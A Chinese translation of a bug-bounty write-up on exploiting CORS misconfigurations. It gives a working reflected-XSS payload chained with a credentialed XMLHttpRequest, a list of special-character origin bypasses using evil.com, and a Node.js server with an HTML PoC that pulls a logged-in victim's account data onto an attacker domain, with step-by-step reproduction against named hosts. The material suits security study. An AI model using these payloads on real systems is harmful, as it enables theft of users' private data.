Advanced CORS Exploitation Techniques
直入主题,本文我会介绍怎么去利用错误的CORS配置去搞事情。
第一种就是常规的XSS,第二种是基于先进的CORS技术。
你需要有CORS的基础知识,你可以阅读下面的文章。
http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
第一种情况
攻击点
一年前,我正在攻击HackerOne主办的一个私人项目。在HTTP请求中使用Origin标识头后,然后检查服务器响应以检查它们是否进行域名白名单检查,我注意到应用程序只是盲目地将子域列入白名单,甚至是一些不存在的子域。
出于隐私原因和其他政策,我们假设Web应用程序托管在:www.redacted.com
这个CORS配置错误看起来像这样:
HTTP Request:
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
HTTP Response:
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com
此API端点返回用户的私人信息,如全名,电子邮件地址,....
为了充分利用这种错误配置,以便我们可以执行攻击,例如泄露用户的私人信息,我们需要声明一个被废弃的子域(子域名接管),或者在现有子域的中找到一个XSS。
发挥想象力,不要局限性思考
找到一个人家不要的子域并不是那么简单,所以我决定选择第二个选项,在一个现有的子域中找到一个XSS。但是,这个程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找XSS肯定不在范围内,但是将此XSS与CORS结合起来在某种程度上也是在Scope中。对吗?
并且,其他子域超出范围的这个消息是让我更有信心的原因,因为其他黑客不会测试它们,因此很有可能在这些子域上找到XSS。
所以,我开始寻找这个XSS,心中充满希望地找到它,并且在不到一个小时的时间里,我在banques.redacted.com找到了一个,使用以下payload:
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
这时候可以作为poc提交了。
再次利用
因此,要利用此CORS漏洞,我们只需要使用以下代码替换称自己的XSS Payload : alert(document.domain)
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
继续:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
成功利用
奖金
现在,如果我告诉您,您仍然可以利用此问题而无需在任何现有子域中找到XSS,或声已经不要的子域,那该怎么办?
这正是我们将在第二种情况下讨论的内容。
第二种利用方法
攻击点
这一次,我正在研究Ubnt程序,尤其是托管在以下网址的应用程序:https://protect.ubnt.com/
和上次一样,我找到一个api接口,并且存在CORS
https://client.amplifi.com/api/user/
而且,正如我们之前讨论的那样,要利用这种CORS错误配置,您需要找到一个废弃的子域名,或者在一个现有的子域中找到XSS。
因为这是一个公开的计划,范围很广(所有子域都在范围内); 找到XSS的可能性很小,甚至没有提到子域名接管漏洞。
那么,我们没办法了吗?
Advanced CORS Exploitation Techniques
嗯,事实证明,还有另一种方式,但它需要一定的条件才能执行。
Corban Leo最近做的一项有趣的研究可以在这里找到。可以绕过域名中使用特殊字符错误实现的某些控件。
此研究基于以下条件:
- 浏览器在发出请求之前并不总是验证域名。因此,如果使用某些特殊字符,浏览器当前可以提交请求,而无需事先验证域名是否有效和存在。
例:
先完全理解这个玩意,让我们尝试打开一个包含特殊字符的URL,例如:http://asdf
+=.withgoogle.com。 大多数浏览器会在发出任何请求之前验证域名。
**Chrome:**
域名
withgoogle.com`用来作演示,因为它有一个通配符DNS记录
Firefox:
Safari:
Safari是一个例外,它实际上会发送请求并尝试加载页面,这与其他浏览器不同。
我们可以使用各种不同的符号,甚至是不可打印的符号:
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外,Davide Danelon完成的另一项研究可以在这里找到,表明这些特殊字符的其他子集也可用于其他浏览器。
现在,我们知道这些以后,我们如何利用这个问题来执行高级CORS利用技术,为了一个很好的演示,让我们回到易受攻击的Web应用程序:https://client.amplifi.com/
新方法
在这种情况下,Web应用程序还接受以下Origin * .ubnt.com!.evil.com
不只是字符!
,还包括以下字符:
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
您现在应该知道某些浏览器(例如Safari)接受具有特殊字符的URL,例如:https://zzzz.ubnt.com=.evil.com
。
因此,如果我们建立一个域名:evil.com,带有通配符DNS记录,允许将所有子域名(* .evil.com)指向www.evil.com,这将在以下页面中托管脚本:www.evil.com/cors-poc
,它只是将带有子域名的跨域请求作为原始值发送给攻击目标。
然后我们以某种方式使经过身份验证的用户打开链接:
https://zzzz.ubnt.com=.evil.com/cors-poc
从理论上讲,我们可以将这个用户的私人信息泄露出去。
复现
首先,设置一个带有通配符DNS记录的域,将其指向您的vps,在我的情况下,我使用GoDaddy来托管我的域,具有以下配置:
2.安装NodeJS,创建一个新目录,然后在其中保存以下文件:
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
3.在同一目录中,保存以下内容:
cors.html
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
4.运行以下命令启动NodeJS服务器:
node serve.js &
5.现在,登录到https://protect.ubnt.com/
上的应用程序,并检查您是否可以从api检索您的帐户信息:https://client.amplifi.com/api/user/
6.打开链接 https://zzzz.ubnt.com=.evil.com/cors-poc
在我的情况下,我使用我的iPhone中的Safari浏览器作为PoC,因为我没有Mac。
结语
你要记住,不要在圈内思考。